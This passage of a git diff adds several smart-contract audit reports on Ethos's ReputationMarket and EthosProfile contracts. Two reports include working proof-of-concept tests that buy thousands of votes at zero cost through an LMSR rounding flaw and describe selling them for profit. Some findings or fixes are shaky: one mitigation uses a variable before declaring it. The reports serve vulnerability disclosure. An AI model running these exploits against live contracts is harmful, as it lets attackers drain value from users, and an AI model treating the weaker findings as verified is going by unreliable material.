up to 100% and both prices add up to the basePrice. + +One idea could be to always calculate odds of TRUST vote, which is rounding down by default and in case that DISTRUST vote is being checked use ```1e18 - odds of TRUST vote```, which would automatically return the value rounded up. Use these values to get each vote's price, which will add up to basePrice. diff --git a/104.md b/104.md new file mode 100644 index 0000000..a7f96cc --- /dev/null +++ b/104.md @@ -0,0 +1,42 @@ +Abundant Green Buffalo + +Medium + +# disruptive `onlyAdmin` function can impact user experience + +### Summary + +disruptive admin only function like [`removeMarketConfig`](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L388), [`setEntryProtocolFeeBasisPoints`](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L683), [`setExitProtocolFeeBasisPoints`](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L696), [`setProtocolFeeAddress`](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L709C12-L709C33) for example should be called by making announcement to the user/community. however, modifying these settings without proper safeguards such as a pause mechanism or time-lock, can lead to accidental interactions between users and the protocol, resulting in unexpected outcomes.. + +### Root Cause + +The root cause is the lack of mechanisms to manage the immediate effect of changes made by admin-only functions. These functions inherit the whenNotPaused modifier, meaning they cannot be executed while the contract is paused. Additionally, there is no on-chain mechanism to notify users of configuration changes at the time of interaction. + +to be more clear: +admin changing config -> config immediately take effect -> user interact with different config (like different market config, or different fee structure) + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +this would be problematic if there are user that try to interact with the protocol at said moment and would makes unexpected transaction (like paying more fees than intended if the fees are changed, or making different market than anticipated) + +### PoC + +_No response_ + +### Mitigation + +1. allow admin-only functions that modify settings to bypass the whenNotPaused modifier. This would enable a smoother flow for making changes like this: `admin apply pause -> admin change config -> unpause` + +2. introduce a delay for admin-only functions that modify critical settings. This delay ensures users are notified in advance and can prepare for the changes before they take effect. \ No newline at end of file diff --git a/105.md b/105.md new file mode 100644 index 0000000..bdc081d --- /dev/null +++ b/105.md @@ -0,0 +1,148 @@ +Main Gauze Kangaroo + +High + +# ReputationMarket.sol :: buyVotes() If the difference between the votes is too large, the votes can be acquired for free. + +### Summary + + `buyVotes()` allows purchasing votes for a specific `profileId`. However, there is an issue: when there is a significant disparity between the current TRUST and DISTRUST votes, the vote type with the smaller quantity can be acquired for free, as its price is calculated as zero. + +### Root Cause + +[buyVotes()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L448) relies on the `_calcCost()` method to determine the price of votes based on both the current votes and the new votes being added. +```solidity +function _calcCost( + Market memory market, + bool isPositive, + bool isBuy, + uint256 amount + ) private pure returns (uint256 cost) { + // cost ratio is a unitless ratio of N / 1e18 + uint256[] memory voteDelta = new uint256[](2); + // convert boolean input into market state change + if (isBuy) { + if (isPositive) { + voteDelta[0] = market.votes[TRUST] + amount; + voteDelta[1] = market.votes[DISTRUST]; + } else { + voteDelta[0] = market.votes[TRUST]; + voteDelta[1] = market.votes[DISTRUST] + amount; + } + } else { + if (isPositive) { + voteDelta[0] = market.votes[TRUST] - amount; + voteDelta[1] = market.votes[DISTRUST]; + } else { + voteDelta[0] = market.votes[TRUST]; + voteDelta[1] = market.votes[DISTRUST] - amount; + } + } + +@> int256 costRatio = LMSR.getCost( + market.votes[TRUST], + market.votes[DISTRUST], + voteDelta[0], + voteDelta[1], + market.liquidityParameter + ); + + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1); + // multiply cost ratio by base price to get cost; divide by 1e18 to apply ratio + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); + } +``` +The LMSR library is used to calculate the price of votes in this implementation. However, an issue arises when there is a significant imbalance between the TRUST and DISTRUST vote counts. Specifically, when the difference between `market.votes` (current votes) and `voteDelta` (new votes) is large, the calculated price for one of the vote types becomes zero. This occurs because all the cost is concentrated on the vote type with the higher count, leaving the other type essentially free. This behavior is demonstrated more clearly in the POC. + +For instance, if TRUST votes equal 50,000 and DISTRUST votes are only 8,000 (a difference of approximately 6x), the price for DISTRUST votes becomes zero. This allows users to purchase DISTRUST votes at no cost. However, once a user acquires enough DISTRUST votes to reduce the gap between TRUST and DISTRUST votes to below 6x, subsequent DISTRUST votes will no longer be free as the price recalculates to a non-zero value. + +This is a plausible scenario, for example, if a user is highly trusted and everyone votes for TRUST. + +The issue arises because the new votes added are not enough to impact the `newCost`, causing it to remain equal to the `oldCost` and resulting in a value of 0 (`newCost - oldCost`). You can observe this behavior by adding the following `console.log` in the `getCost()` of the `LSMR.sol` contract when running the POC. +```solidity +function getCost( + uint256 currentYesVotes, + uint256 currentNoVotes, + uint256 outcomeYesVotes, + uint256 outcomeNoVotes, + uint256 liquidityParameter + ) public pure returns (int256 costDiff) { + uint256 oldCost = _cost(currentYesVotes, currentNoVotes, liquidityParameter); + uint256 newCost = _cost(outcomeYesVotes, outcomeNoVotes, liquidityParameter); + + console.log("oldCost:", oldCost); + console.log("newCost:", newCost); + + costDiff = int256(newCost) - int256(oldCost); + } +``` +This creates an exploit where a user can obtain votes at no cost. Additionally, the fees will be 0 because the price of the votes is 0. + +### Internal Pre-conditions + +The number of TRUST votes is roughly 6 times greater than the number of DISTRUST votes or vice versa. + +### External Pre-conditions + +None. + +### Attack Path + +A malicious user can exploit the system to generate free money using the following steps: + +1. The gap between TRUST and DISTRUST votes is sufficiently large, causing the price of DISTRUST votes to drop to zero. +2. The attacker takes advantage of this by purchasing DISTRUST votes at no cost using `buyVotes()`. +3. The attacker waits until someone purchases a few DISTRUST votes, causing their price to become non-zero, and then sells them using `sellVotes()`, pocketing the profit. +(Alternatively, the same attacker could buy a small amount to reset the price of DISTRUST votes to a non-zero value, positioning themselves to make a significant profit by selling the previously acquired votes.) + +### Impact + +Users are able to acquire votes without cost. + +### PoC + +To better understand the issue, copy the following proof of concept into `rep.price.test.ts` inside `describe('Very high price limits)`. +```js +it('votes can be obtained for free.', async () => { + const billionEth = ethers.parseEther('1000000000'); + const maxVotes = 50000n; + // buy many votes to increase the differnce between votes + await userA.buyVotes({ votesToBuy: maxVotes, buyAmount: billionEth }); + + const currentPricePositive = await reputationMarket.getVotePrice(DEFAULT.profileId, true); + const currentPriceNegative = await reputationMarket.getVotePrice(DEFAULT.profileId, false); + + console.log("currentPricePositive:", currentPricePositive); + console.log("currentPriceNegative:", currentPriceNegative); + console.log("Result:", currentPricePositive + currentPriceNegative); + + //price for DISTRUST is 0 + expect(currentPriceNegative).to.equal(0); + + //user hasn't DISTRUST votes + const { distrustVotes: beforeDistrustVotes } = await userA.getVotes(); + expect(beforeDistrustVotes).to.equal(0); + + //user buy 8000 DISTRUST votes for 0 eth (buyAmount is msg.value) + await userA.buyVotes({ votesToBuy: 8000n, buyAmount: 0n, isPositive: false }); + + //user obtains 8000 DISTRUST votes for free + const { distrustVotes: afterDistrustVotes } = await userA.getVotes(); + expect(afterDistrustVotes).to.equal(8000); + }); +``` +```js +----------LOGS---------- +currentPricePositive: 999999999999999999n +currentPriceNegative: 0n +Result: 999999999999999999n +``` +As you can see, the entire price is allocated to the TRUST votes, leaving the price for DISTRUST votes at zero. This allows votes to be purchased for free, as long as the ratio between TRUST and DISTRUST votes is approximately 6:1. However, if a user attempts to buy 10,000 DISTRUST votes, the price will no longer be zero, since the ratio between the votes will be reduced to 5:1 (50,000 TRUST votes / 10,000 DISTRUST votes). + +### Mitigation + +To resolve the issue, one solution could be to set a minimum price for the votes. If the calculated price is zero, the minimum price should be applied when purchasing the votes. \ No newline at end of file diff --git a/106.md b/106.md new file mode 100644 index 0000000..2780173 --- /dev/null +++ b/106.md @@ -0,0 +1,57 @@ +Cheesy Crimson Raven + +Medium + +# Exceeding maximum address limit + +### Summary + +In the contract EthosProfile there is a misconfigured condition (if (maxAddresses > 2048) instead of if (maxAddresses > 128)) will cause an unintended increase in the allowed number of addresses for contract users, as the contract will permit more addresses than intended, leading to potential gas wastage, instability, and incorrect behavior. This issue may result in significant disruptions in the contract's functionality, including excessive gas costs, incorrect resource distribution, and the potential for security vulnerabilities if the contract's logic relies on limiting the number of addresses. + + ``` +function setMaxAddresses(uint256 maxAddresses) external onlyAdmin whenNotPaused { + maxNumberOfAddresses = maxAddresses; + if (maxAddresses > 2048) { // must be 128 + revert MaxAddressesReached(0); + } + } +``` + + +### Root Cause + +In the contract, a misconfiguration on line https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/EthosProfile.sol#L792 (if (maxAddresses > 2048)) leads to an unintended number of addresses being allowed, when the actual limit should be 128 as made in the initialize function on line https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/EthosProfile.sol#L151 + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. Administrator calls the function that changes the maximum number of addresses (e.g., setMaxAddresses()), setting a value greater than 128 (e.g., 2048). +2. User calls the registration function (e.g., registerProfile()), which is now no longer restricted by the initial maximum number of addresses due to the new configuration. +3. Since the check for the maximum number of addresses (if (maxAddresses > 128)) was bypassed by the administrator's change, the user can register a new profile even if the number of registered addresses exceeds the originally intended limit. +4. The attacker or any other user can now create multiple new profiles, bypassing the system's previous restrictions on the number of allowed addresses. + +### Impact + +The change in the maximum address limit will allow users to register new profiles beyond the intended limit. This creates an opportunity for abuse, where an attacker or any user could create an excessive number of profiles, potentially overwhelming the system, distorting data, or causing the contract to behave unexpectedly. + +### PoC + +_No response_ + +### Mitigation + +Changing the 2048 to 128 will resolve this issue + ``` +function setMaxAddresses(uint256 maxAddresses) external onlyAdmin whenNotPaused { + maxNumberOfAddresses = maxAddresses; + + if (maxAddresses > 128) { + revert MaxAddressesReached(0); + } + } ``` diff --git a/107.md b/107.md new file mode 100644 index 0000000..0f7a544 --- /dev/null +++ b/107.md @@ -0,0 +1,246 @@ +Lucky Spruce Kookaburra + +High + +# Attacker/User Can Buy Very High Amount of Votes For Free in Certain Cases + +### Summary + +Attacker/User can buy very high amount of votes for free in certain cases due to mishandling edge cases. + +### Root Cause + +In [ReputationMarket.sol](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440C1-L497C4), buying votes are limited with a specific number (133). The reason of this limit is overflow in `exp()` operation while LSMR algorithm. The details are public in [prb/math repo](https://github.com/PaulRBerg/prb-math/blob/b03f814a03558ed5b62f89a57bcc8d720a393f67/src/ud60x18/Math.sol#L109C1-L115C56). This is the only limit while buying a vote from reputation market. + +If we have `1000` as liquidity parameter, we can buy 1000 * 133 = 133,000 for each side. In extreme cases, price of buying a vote can go down to 0. If a reputation market gets too many negative/positive votes, the other sides price can be round down to zero. + +### Internal Pre-conditions + +1. A market should get lots of positive/negative votes against the other side + +### Attack Path + +Path is provided in PoC, attacker can buy 10000 votes for free in the scenario. + +> Note: These tests were conducted with a liquidity parameter of 1000. Results may vary with different liquidity parameters. + +### Impact + +High - Attacker/User can buy many votes for free and make profit by selling it later. We should apply minimum price for each side because this issue will also cause 0 fee charge for buying votes for both market owner and protocol. + +Let say 5% donation fee, 5% protocol fee is applied. `cost` variable in `_calcCost` function should be at least 20 in order to prevent 0 fee charging. Therefore, price doesn't need to be zero for zero fee charging. + +### PoC + +I saw that problem while the fuzz test in foundry. You can use following files to reproduce the bug. + +First of all install the required libraries: + +```console +forge init --force --no-commit +forge install PaulRBerg/prb-math@v4.1.0 openzeppelin/openzeppelin-contracts@v5.1.0 openzeppelin@openzeppelin-contracts-upgradeable@v5.1.0 --no-commit +``` + +Use following command for fuzz test +```console +forge test --match-test testFuzz_price -vvv +``` + +Use following command for example scenario +```console +forge test --match-test test_price -vvv +``` + +```solidity +// ProfileMock.sol in mocks folder + +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +/* + * @dev Interface for EthosProfile Smart Contract. + */ +interface IEthosProfile { + function verifiedProfileIdForAddress(address _address) external view returns (uint256); +} + + +contract ProfileMock is IEthosProfile{ + + function verifiedProfileIdForAddress(address usr) external view returns(uint256){ + return uint256(keccak256(abi.encode(usr))); + } +} +``` +```solidity +// ManagerMock.sol in mocks folder + +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +interface IContractAddressManager { + function getContractAddressForName(string memory name) external view returns (address); + + function checkIsEthosContract(address targetAddress) external view returns (bool); +} + +contract ManagerMock is IContractAddressManager{ + + address profile; + constructor(address _profile){ + profile = _profile; + } + function getContractAddressForName(string memory name) external view returns (address){ + return profile; + } + function checkIsEthosContract(address targetAddress) external view returns (bool){ + return true; + } + +} +``` + +```solidity +// ReputationTest.t.sol in test folder + +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import "forge-std/Test.sol"; +import "forge-std/console2.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../contracts/mocks/ProfileMock.sol"; +import "../contracts/mocks/ManagerMock.sol"; +import {ReputationMarket} from "../contracts/ReputationMarket.sol"; + + +interface IReputation { + function createMarket() external payable; + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy + ) external payable; + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) external; + function setAllowListEnforcement(bool) external; + function setEntryProtocolFeeBasisPoints(uint256) external; + function setDonationBasisPoints(uint256) external; + function setProtocolFeeAddress(address) external; + function withdrawDonations() external; + function createMarketWithConfig(uint256) external payable; + function getVotePrice(uint256,bool) external view returns(uint256); +} + +contract ReputationUnitTest is Test { + + ProfileMock profile; + ManagerMock manager; + address owner = address(0x1); + address admin = address(0x2); + address alice = address(0x3); + address bob = address(0x4); + address john = address(0x5); + address lucy = address(0x6); + address proxy; + uint256 profileIdAlice = uint256(keccak256(abi.encode(alice))); + + function setUp() public { + address reputation = address(new ReputationMarket()); + profile = new ProfileMock(); + manager = new ManagerMock(address(profile)); + bytes memory data = abi.encodePacked(bytes4(keccak256("initialize(address,address,address,address,address)")),abi.encode(owner,admin,address(0x10),address(0x11),address(manager))); + proxy = address(new ERC1967Proxy(reputation, data)); + vm.startPrank(admin); + IReputation(proxy).setAllowListEnforcement(false); + IReputation(proxy).setProtocolFeeAddress(admin); + IReputation(proxy).setDonationBasisPoints(500); + IReputation(proxy).setEntryProtocolFeeBasisPoints(500); + vm.stopPrank(); + vm.deal(alice, 1000000 ether); + vm.deal(bob, 1e18 ether); + vm.deal(john, 1000000 ether); + vm.deal(lucy, 1000000 ether); + } + + /// forge-config: default.fuzz.runs = 100000 + function testFuzz_price(bool b, uint16 x, uint16 y) public { + + vm.assume(x != 0); + vm.assume(y != 0); + + uint256 basePrice = 0.01 ether; + + vm.prank(alice); + IReputation(proxy).createMarket{value: 2 ether}(); + + vm.prank(bob); + IReputation(proxy).buyVotes{value: 1000000 ether}(profileIdAlice, b, uint256(x), uint256(x)); + + uint256 priceB = IReputation(proxy).getVotePrice(profileIdAlice, true); + uint256 priceA = IReputation(proxy).getVotePrice(profileIdAlice, false); + + assert(priceA != 0); + assert(priceB != 0); + + vm.prank(bob); + IReputation(proxy).buyVotes{value: 1000000 ether}(profileIdAlice, !b, uint256(y), uint256(y)); + + assert(priceA != 0); + assert(priceB != 0); + + assert(priceA + priceB == basePrice); + + vm.prank(bob); + IReputation(proxy).sellVotes(profileIdAlice, b, uint256(x), 0); + + priceB = IReputation(proxy).getVotePrice(profileIdAlice, true); + priceA = IReputation(proxy).getVotePrice(profileIdAlice, false); + + assert(priceA != 0); + assert(priceB != 0); + + vm.prank(bob); + IReputation(proxy).sellVotes(profileIdAlice, !b, uint256(y), 0); + + priceB = IReputation(proxy).getVotePrice(profileIdAlice, true); + priceA = IReputation(proxy).getVotePrice(profileIdAlice, false); + + assert(priceA != 0); + assert(priceB != 0); + + } + function test_price() public { + + vm.prank(alice); + IReputation(proxy).createMarket{value: 2 ether}(); + + vm.prank(bob); + IReputation(proxy).buyVotes{value: 1000000 ether}(profileIdAlice, false, uint256(2428), uint256(2428)); + + vm.prank(bob); + IReputation(proxy).buyVotes{value: 1000000 ether}(profileIdAlice, true, uint256(65535), uint256(65535)); + + uint256 priceB = IReputation(proxy).getVotePrice(profileIdAlice, true); + uint256 priceA = IReputation(proxy).getVotePrice(profileIdAlice, false); + + console2.log(priceA); + console2.log(priceB); + console2.log(priceB + priceA); + + vm.prank(bob); + vm.expectRevert(); + IReputation(proxy).buyVotes(profileIdAlice, false, 10000, 10000); + + } +} +``` + +### Mitigation + +Apply min price solution for this kind of issues. Do not prevent this bug using `require(protocolFee != 0)` because it will cause different kind of issues. For instance, it will cause DoS for buying negative/positive votes. Applying a min price per vote can solve the problem elegantly. \ No newline at end of file diff --git a/108.md b/108.md new file mode 100644 index 0000000..d6b64d6 --- /dev/null +++ b/108.md @@ -0,0 +1,82 @@ +Gorgeous Cobalt Frog + +Medium + +# A Malicious Actor Can Take Control of the `_createMarket()` execution + +### Summary + +The `_createMarket()` internal function doesn't follow the CEI pattern, allowing a Malicious User to take control of the function execution before updating all the state variables, as the Malicious User can perform across function or contract reentrancy in the middle of `_createMarket()` execution. + +### Root Cause + +`_createMarket()` in case the `msg.value > creationCost` it triggers [_sendEth()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L338C9-L338C44) before updating the following state: [markets and donationRecipient](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L346C1-L351C46). +as it is allowing hackers to take control of the execution before updating all the state variables. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +Malicious User needs to deploy a contract using create 2 that implements ethos with a self-destruct function to redeploy it without making any susception +moreover, since the `_createMarket()` have the `nonReentrant` modifier that hacker have to ensure the reentered function doesn't use that modifier . + +### Impact + +malicious contracts can hijack the control flow after this external call. + +### PoC + +_No response_ + +### Mitigation + +I would Recommend updating all the state variables before sending eth, since it will not change the function behavior. +```solidity + function _createMarket( + uint256 profileId, + address recipient, + uint256 marketConfigIndex + ) private nonReentrant { + // ensure a market doesn't already exist for this profile + if (markets[profileId].votes[TRUST] != 0 || markets[profileId].votes[DISTRUST] != 0) + revert MarketAlreadyExists(profileId); + + // ensure the specified config option is valid + if (marketConfigIndex >= marketConfigs.length) + revert InvalidMarketConfigOption("Invalid config index"); + + // ensure the msg.value in enogh + if (msg.value < creationCost) revert InsufficientLiquidity(creationCost); + + uint256 creationCost = marketConfigs[marketConfigIndex].creationCost; + + // Create the new market using the specified config + markets[profileId].votes[TRUST] = 1; + markets[profileId].votes[DISTRUST] = 1; + markets[profileId].basePrice = marketConfigs[marketConfigIndex].basePrice; + markets[profileId].liquidityParameter = marketConfigs[marketConfigIndex].liquidity; + + donationRecipient[profileId] = recipient; + + // Handle creation cost, refunds and market funds for non-admin users + if (!hasRole(ADMIN_ROLE, msg.sender)) { + marketFunds[profileId] = creationCost; + if (msg.value > creationCost) { + _sendEth(msg.value - creationCost); + } + } else { + // when an admin creates a market, there is no minimum creation cost; use whatever they sent + marketFunds[profileId] = msg.value; + } + + emit MarketCreated(profileId, msg.sender, marketConfigs[marketConfigIndex]); + _emitMarketUpdate(profileId); + } +``` + diff --git a/109.md b/109.md new file mode 100644 index 0000000..b491063 --- /dev/null +++ b/109.md @@ -0,0 +1,72 @@ +Fierce Silver Sealion + +Medium + +# Profiles can get stuck with incorrect config on config removal during market creation + +### Summary + +Profiles can get get stuck with unintended config at the time of creation if a config is removed at the same time. +LoC: +[createMarketWithConfig](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L284) +[removeMarketConfig](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L398-404) + +### Root Cause + +The protocol allows whitelisted profiles to create markets with config of choice by providing the index. This index-based approach could become problematic if the `marketConfigs` array is changed via `removeMarketConfig` before a profiletries to create a market. Here's how `removeMarketConfig` works, +- Given an index, check if given index is last index. +- If it's not, swap config at last index with current config. +- Pop the last config. + +```solidity + + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + + // Remove the last element + marketConfigs.pop(); + +``` + +This means, if market provides an index to `createMarketWithConfig` and that config at given index ceases to exist, the last config in +the array would take its place via swap & as long as the msg.value as enough to cover `creationCost`,it would be utilized, creating market at that config. + +#### For example + +**Ok, let's say there are 5 configs, [0, 1, 2, 3, 4]. +creationCost0 = 0.2, creationCost1 = 0.5, creationCost2 = 1.0, creationCost3 = 1.2, creationCost4 = 1.0** +- Profile decides to buy config1 and provides 1 ether (the function would return the extra). +- At the same time, admin decides to remove config1 and this runs first (due to more gas or validator wanting to harm profile by making sure this goes through first). +- Now, config1 will get swapped with config4 and the `_createMarket` for config at index1 would go through as msg.value is still enough to cover creationCost, resulting in profile getting stuck with config4. It's not like a profile can upgrade configs afterwards! + +Basically, even if another config takes place of the config being removed, as long as msg.value is enough to cover `creationCost` of this swapped config at the questioned index, the transaction will not revert! + +The issue is, the config of a market cannot be changed after creation and profile sticks with that forever. + +The config removals won't happen often, but when they do, it could get problematic for market creators with enough msg.value. + +### Internal Pre-conditions + +1. Transactions `removeMarketConfig` & `createMarketWithConfig` need to happen at the same time; both should be in mempool. + +### External Pre-conditions + +1. `removeMarketConfig` should execute first from the mempool. + +### Attack Path + +_No response_ + +### Impact + +Profile would be tied to unintended tier which they cannot change later. + +### PoC + +_No response_ + +### Mitigation + +Consider removing the `whenNotPaused` modifier from `removeMarketConfig` & pause protocol before config removals to avoid problems for new market creators. \ No newline at end of file diff --git a/110.md b/110.md new file mode 100644 index 0000000..f9d36ae --- /dev/null +++ b/110.md @@ -0,0 +1,75 @@ +Scruffy Concrete Swift + +Medium + +# "Users May end up Selecting Incorrect Config, Causing Unintended Market Outcomes" + + ## Summary + Configuration index shifts on removal may lead to unintended market setups. + + https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L388C3-L405C4 + + ## Vulnerability Detail + The `removeMarketConfig` function removes a specified configuration by swapping it with the last element and then popping the last element: +```solidity +uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + + marketConfigs.pop(); + + } +``` +this can make the last element to shift in index position making the order to change .The vulnerability arises from the fact that .A user who isnt aware of the change while calling `createMarket` function might end up calling the wrong config +this will make newly created market having entirely different parameters than expected. + +for example : +Initial State: +marketConfigs contains: + +Index 0: Config A +Index 1: Config B +Index 2: Config C + +1.Bob Removes Config B ->Bob calls removeMarketConfig on index(1). +updated index: + + Index 0: Config A + Index 1: Config C + +2.Alice Calls createMarket: +Alice wants to create a market using Config B. She uses the previously valid index (1) without realizing that has been removed. + +3.Instead of reverting the system creates market using the Config C + + ## Impact + A user is forced to create market with unintended parameters + + ## Code Snippet + ```solidity +function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { + // Cannot remove if only one config remains + if (marketConfigs.length <= 1) revert InvalidMarketConfigOption("Must keep one config"); + + // Check if the index is valid + if (configIndex >= marketConfigs.length) revert InvalidMarketConfigOption("index not found"); + + emit MarketConfigRemoved(configIndex, marketConfigs[configIndex]); + + // If this is not the last element, swap with the last element + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + + // Remove the last element + marketConfigs.pop(); + } +``` + + ## Tool used + Manual Review + + ## Recommendation +maybe introduce use a mapping to store configurations by a unique identifier, ensuring correct selection despite order changes. diff --git a/111.md b/111.md new file mode 100644 index 0000000..4be0bad --- /dev/null +++ b/111.md @@ -0,0 +1,75 @@ +Creamy Wintergreen Starfish + +Medium + +# Removing a market configuration may result in the creation of a market with an unexpected configuration. + +### Summary +When creating a market, the creator choose the index of market configuration. And, a market configuration can be removed at any time when not paused. If the chosen market configuration is removed right before creating the market, the market will be created with an unexpected configuration. + +### Root Cause +When creating a market, the creator choose the index of market configuration. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L284-L296 +```solidity + function createMarketWithConfig(uint256 marketConfigIndex) public payable whenNotPaused { + uint256 senderProfileId = _getProfileIdForAddress(msg.sender); + + // Verify sender can create market + if (enforceCreationAllowList && !creationAllowedProfileIds[senderProfileId]) + revert MarketCreationUnauthorized( + MarketCreationErrorCode.PROFILE_NOT_AUTHORIZED, + msg.sender, + senderProfileId + ); + + _createMarket(senderProfileId, msg.sender, marketConfigIndex); + } +``` + +And, a market configuration can be removed at any time when not paused. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L388-L405 +```solidity + function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { + // Cannot remove if only one config remains + if (marketConfigs.length <= 1) revert InvalidMarketConfigOption("Must keep one config"); + + // Check if the index is valid + if (configIndex >= marketConfigs.length) revert InvalidMarketConfigOption("index not found"); + + emit MarketConfigRemoved(configIndex, marketConfigs[configIndex]); + + // If this is not the last element, swap with the last element + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { +400: marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + + // Remove the last element + marketConfigs.pop(); + } +``` +As L400, if the index of the removed configuration is not the last one, the last market configuration will have the index instead of the original one. +If the chosen market configuration is removed right before creating the market and the creation cost of the newly chosen market is not larger than that of the original market, the market will be created with an unexpected configuration. +This issue is not an user mistake because the user does not know when the configuration will be removed. +This issue is also not an admin issue because the admin does not know when the configuration will be used. + +### Internal pre-conditions +none + +### External pre-conditions +none + +### Attack Path +none + +### Impact +A market can be created with an unexpected configuration. + +### PoC + +### Mitigation +A market configuration must be allowed to be removed only when paused. +```diff +- function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { ++ function removeMarketConfig(uint256 configIndex) public onlyAdmin whenPaused { +``` \ No newline at end of file diff --git a/112.md b/112.md new file mode 100644 index 0000000..a6c5092 --- /dev/null +++ b/112.md @@ -0,0 +1,62 @@ +Broad Khaki Wasp + +Medium + +# Creating a market could lead to unexpected creation if the corresponding market configuration is removed. + +### Summary + +If the admin removes a market configuration, it is replaced by the last configuration. + +If a user creates a market using the index of the removed configuration, a market will be created with the last configuration. + +This situation can occur when the admin's removal and the user's creation happen within the same block. + +### Root Cause + +The [removeMarketConfig()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L400) function replaces the removed configuration with the last one. + +```solidity + function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { + ... + + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { +400 marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + + // Remove the last element + marketConfigs.pop(); + } +``` + +### Internal pre-conditions + +### External pre-conditions + +### Attack Path + +Let's consider the following scenario: + +1. The admin initiates a transaction to remove the `n`th configuration. +2. A user initiates a transaction to create a market using the `n`th configuration. +3. Both transactions are executed within the same block: + - The `n`th configuration is replaced by the last one. + - The user's market is created with the new `n`th configuration. + +As a result, a market is created with an unexpected configuration. + +### Impact + +Creating a market immediately after removing the corresponding configuration can lead to unexpected outcomes. + +### PoC + +### Mitigation + +It is advisable to remove market configurations only when the contract is paused to prevent the creation of a market immediately after the removal. + +```diff +- function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { ++ function removeMarketConfig(uint256 configIndex) public onlyAdmin whenPaused { +``` \ No newline at end of file diff --git a/113.md b/113.md new file mode 100644 index 0000000..292650b --- /dev/null +++ b/113.md @@ -0,0 +1,52 @@ +Abundant Orchid Copperhead + +Medium + +# User when selling votes will lose money due to selling an unwanted price + +### Summary + +`sellVotes()` function calculates the price per vote based on the amount of ETH before the fee instead of the amount of ETH that the seller received. This will cause the seller losing money due to selling an unwanted price + + + +### Root Cause + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L553 +The slippage check when selling is based on price before fee instead of price after fee + +### Internal Pre-conditions + +1. Users need to buy votes previously + +### External Pre-conditions + +None + +### Attack Path + +1. The user wants to sell 100 votes with the minimum vote price being 0.1 ether +2. The expected amount of ETH received by the user should be at least 10 ether (0.1 * 100) +3. The user calls to the `sellVotes()` function with `minimumVotePrice = 0.1e18` +4. In `sellVotes()` function, the result of `_calculateSell()` is: `proceedsBeforeFees = 10.1e18`, `proceedsAfterFees = 9.6e18`. This means users only receiving `9.6e18` after selling +5. Because `pricePerVote` is calculated based on `proceedsBeforeFees`, `pricePerVote` will be `10.1e18 / 100 = 1.01e18`, which is greater than `minimumVotePrice`. Due to that, the slippage check got surpassed +6. In the end, the amount of user received will be `9.6e18` even though the minimum expected is `10e18` + +### Impact + +Sellers will lose money when selling votes. The maximum loss will be 5% amount of selling price, since maximum fee is 5% + +### PoC + +_No response_ + +### Mitigation + +Change this line: https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L553 + +```diff ++ uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; +- uint256 pricePerVote = votesToSell > 